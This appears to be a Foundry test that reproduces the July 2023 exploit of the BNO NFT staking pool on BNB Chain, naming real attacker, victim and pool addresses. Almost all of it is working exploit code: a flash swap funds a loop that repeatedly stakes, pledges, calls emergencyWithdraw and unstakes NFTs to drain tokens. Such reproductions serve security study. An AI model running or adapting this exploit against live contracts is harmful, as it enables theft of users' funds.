src/test/2023-07/BNO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$505K
8// Attacker : https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb
9// Attacker Contract : https://bscscan.com/address/0xd138b9a58d3e5f4be1cd5ec90b66310e241c13cd
10// Vulnerable Contract : https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e4006
11// Attack Tx : https://bscscan.com/tx/0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b9
12 
13// @Analysis
14// https://twitter.com/BeosinAlert/status/1681116206663876610
15 
16interface IPool {
17    function emergencyWithdraw() external;
18 
19    function stakeNft(
20        uint256[] memory tokenIds
21    ) external payable;
22 
23    function unstakeNft(
24        uint256[] memory tokenIds
25    ) external payable;
26 
27    function pledge(
28        uint256 _stakeAmount
29    ) external payable;
30}
31 
32contract BNOTest is Test {
33    IERC721 NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A);
34    IERC20 BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F);
35    IPancakePair PancakePair = IPancakePair(0x4B9c234779A3332b74DBaFf57559EC5b4cB078BD);
36    IPool Pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006);
37    address private constant attacker = 0xA6566574eDC60D7B2AdbacEdB71D5142cf2677fB;
38    address private constant attackerContract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD;
39 
40    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
41 
42    function setUp() public {
43        cheats.createSelectFork("bsc", 30_056_629);
44        cheats.label(address(NFT), "NFT");
45        cheats.label(address(BNO), "BNO");
46        cheats.label(address(PancakePair), "PancakePair");
47        cheats.label(address(Pool), "Pool");
48        cheats.label(attacker, "Attacker");
49        cheats.label(attackerContract, "Attacker Contract");
50    }
51 
52    function testExploit() public {
53        cheats.startPrank(attackerContract);
54        NFT.transferFrom(attacker, address(this), 13);
55        NFT.transferFrom(attacker, address(this), 14);
56        cheats.stopPrank();
57 
58        emit log_named_decimal_uint(
59            "Attacker balance of BNO before exploit", BNO.balanceOf(address(this)), BNO.decimals()
60        );
61        PancakePair.swap(0, BNO.balanceOf(address(PancakePair)) - 1, address(this), hex"00");
62        emit log_named_decimal_uint(
63            "Attacker balance of BNO after exploit", BNO.balanceOf(address(this)), BNO.decimals()
64        );
65    }
66 
67    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
68        BNO.approve(address(Pool), type(uint256).max);
69        for (uint256 i; i < 100; i++) {
70            callEmergencyWithdraw();
71        }
72        BNO.transfer(address(PancakePair), 296_077 * 1e18);
73    }
74 
75    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
76        return this.onERC721Received.selector;
77    }
78 
79    function callEmergencyWithdraw() internal {
80        NFT.approve(address(Pool), 13);
81        NFT.approve(address(Pool), 14);
82 
83        uint256[] memory tokenIds = new uint256[](2);
84        tokenIds[0] = 13;
85        tokenIds[1] = 14;
86        Pool.stakeNft{value: 0.008 ether}(tokenIds);
87        Pool.pledge{value: 0.008 ether}(BNO.balanceOf(address(this)));
88        // Emergency withdraw is made without withdrawing the staked NFTs
89        Pool.emergencyWithdraw();
90        // Stake is canceled but NFTs are still claimable
91        Pool.unstakeNft{value: 0.008 ether}(tokenIds);
92    }
93}